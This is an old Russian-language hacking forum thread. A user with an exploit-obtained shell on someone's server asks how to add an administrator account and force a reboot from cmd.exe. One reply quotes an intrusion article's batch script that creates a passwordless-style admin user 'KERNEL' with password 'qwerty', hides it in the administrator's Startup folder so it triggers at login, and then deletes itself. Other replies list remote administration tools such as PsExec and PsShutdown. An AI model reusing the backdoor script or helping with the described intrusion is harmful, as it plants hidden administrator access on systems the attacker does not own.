информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
За кого нас держат?Страшный баг в WindowsГде водятся OGRы
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 ФБР нашла русский след в атаках... 
 Массовый взлом SharePoint 
 Microsoft Authenticator прекращает... 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / hacking
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
еще один линк на кульные консольные тулзи 20.05.02 13:50  Число просмотров: 1420
Автор: ZaDNiCa <indeed ZaDNiCa> Статус: Elderman
<"чистая" ссылка>
aka pstools
http://sysinternals.com/ntw2k/freeware/pstools.shtml
от Марка Русиновича - управление удаленными процессами из командной строки и т.д. (в том числе ребут с шатдауном)
PsExec - execute processes remotely
PsFile - shows files opened remotely
PsGetSid - display the SID of a computer or a user
PsKill - kill processes by name or process ID
PsInfo - list information about a system
PsList - list detailed information about processes
PsLoggedOn - see who's logged on locally and via resource sharing (full source is included)
PsLogList - dump event log records
PsService - view and control services
PsShutdown - shuts down and optionally reboots a computer
PsSuspend - suspends processes
PsUptime - shows you how long a system
<hacking>
NT (cmd.exe) adduser[admin] 16.05.02 19:47  
Автор: Zlobnui_Mydak[HitU] <Pr3DV+0Я> Статус: Member
<"чистая" ссылка>
Кто знает как консольно добавить USER'a c определенными правами в WinNT??
thnx.
net user ? 17.05.02 20:09  
Автор: ZaDNiCa <indeed ZaDNiCa> Статус: Elderman
<"чистая" ссылка>
autoadd 16.05.02 21:12  
Автор: DelGod Статус: Незарегистрированный пользователь
<"чистая" ссылка>
далее будет вырезка из статьи
Изучение корпоративной сети компании
"XXXXX" Engineering Co. of North Carolina Inc".
которая опубликована на hackzone.ru

я думаю ты разбершся что к чему



Пишем следующий скрипт:

net user KERNEL qwerty /ADD /passwordreq:no
net localgroup Administrators KERNEL /ADD
del "c:\WINNT\Profiles\Administrator\Start Menu\Programs\Startup\*" /Q >nul
del c:\kernel.cmd

Записываю его в корень диска "C" под именем kernel.cmd.
Затем в каталог:
C:\WINNT\Profiles\Administrator\Start Menu\Programs\Startup закидываю ярлык, указывающий на файл c:\kernel.cmd. Теперь когда администратор зайдет на сервер, скрипт сработает и добавит пользователя KERNEL с правами Администратора и с паролем "qwerty". В конце концов скрипт удаляется.
autoadd 17.05.02 02:51  
Автор: cool Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> Записываю его в корень диска "C" под именем kernel.cmd.
> Затем в каталог:
> C:\WINNT\Profiles\Administrator\Start Menu\Programs\Startup
> закидываю ярлык, указывающий на файл c:\kernel.cmd. Теперь
> когда администратор зайдет на сервер, скрипт сработает и
> добавит пользователя KERNEL с правами Администратора и с
> паролем "qwerty". В конце концов скрипт удаляется.
Чё то я не понял если ты имеешь доступ к профилю админа, следовательно ты админ, либо у тебя есть права систем, но тогда зачем такой геморой? можно просто запустить скрипт и перелогиниться под новым юзером.
autoadd 23.05.02 17:39  
Автор: DelGod Статус: Незарегистрированный пользователь
<"чистая" ссылка>

> Чё то я не понял если ты имеешь доступ к профилю админа,
> следовательно ты админ
не обезательно читал про новую дырку в вин2к???
> либо у тебя есть права систем, но
> тогда зачем такой геморой? можно просто запустить скрипт и
> перелогиниться под новым юзером.
я цитировал!!!
я ничего не утверждаю
NT (cmd.exe) adduser[admin] 16.05.02 20:23  
Автор: cool Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> Кто знает как консольно добавить USER'a c определенными
> правами в WinNT??
> thnx.
net help user |more
Читаешь до просветления, и потом
net help localgroup
(cmd.exe) reboot? 17.05.02 18:31  
Автор: Zlobnui_Mydak[HitU] <Pr3DV+0Я> Статус: Member
<"чистая" ссылка>
спасибо огромное.
еще один ээээ...."бонус"
как НЕ дожидаясь перезагрузить сервак.
Залить фаил я не могу(причин обьяснять не буду).
через цмд.ехе это возможо? может какой-нить ДОС?
thnx
(cmd.exe) reboot? 21.05.02 20:09  
Автор: ud Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> спасибо огромное.
> еще один ээээ...."бонус"
> как НЕ дожидаясь перезагрузить сервак.
> Залить фаил я не могу(причин обьяснять не буду).
> через цмд.ехе это возможо? может какой-нить ДОС?
> thnx

хихи, а что за секреты ?? я думал юникод уже оставили в покое -)))
2ud 21.05.02 20:46  
Автор: Zlobnui_Mydak[HitU] <Pr3DV+0Я> Статус: Member
<"чистая" ссылка>
Я не юикод юзаю а комманд шелл с эксплоита.
как сделать НЕ консольным методом 17.05.02 20:11  
Автор: ZaDNiCa <indeed ZaDNiCa> Статус: Elderman
<"чистая" ссылка>
в тулзе hyena есть удаленный ребут/шатдаун хостов (естесственно необзодимо иметь права админа)
кстати, я такую тулзу сам писал. могу выложить вместе с исходниками, если кому надо 20.05.02 04:25  
Автор: йцукенг <jcukeng> Статус: Member
Отредактировано 20.05.02 04:29  Количество правок: 1
<"чистая" ссылка>
> в тулзе hyena есть удаленный ребут/шатдаун хостов
> (естесственно необзодимо иметь права админа)
кстати, я такую тулзу(для remote reboot) сам писал.
могу выложить вместе с исходниками, если кому надо.
Если не тяжело.... :) Дай линк так сказать :) 20.05.02 09:34  
Автор: DamNet <Denis Amelin> Статус: Elderman
<"чистая" ссылка>
еще один линк на кульные консольные тулзи 20.05.02 13:50  
Автор: ZaDNiCa <indeed ZaDNiCa> Статус: Elderman
<"чистая" ссылка>
aka pstools
http://sysinternals.com/ntw2k/freeware/pstools.shtml
от Марка Русиновича - управление удаленными процессами из командной строки и т.д. (в том числе ребут с шатдауном)
PsExec - execute processes remotely
PsFile - shows files opened remotely
PsGetSid - display the SID of a computer or a user
PsKill - kill processes by name or process ID
PsInfo - list information about a system
PsList - list detailed information about processes
PsLoggedOn - see who's logged on locally and via resource sharing (full source is included)
PsLogList - dump event log records
PsService - view and control services
PsShutdown - shuts down and optionally reboots a computer
PsSuspend - suspends processes
PsUptime - shows you how long a system
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach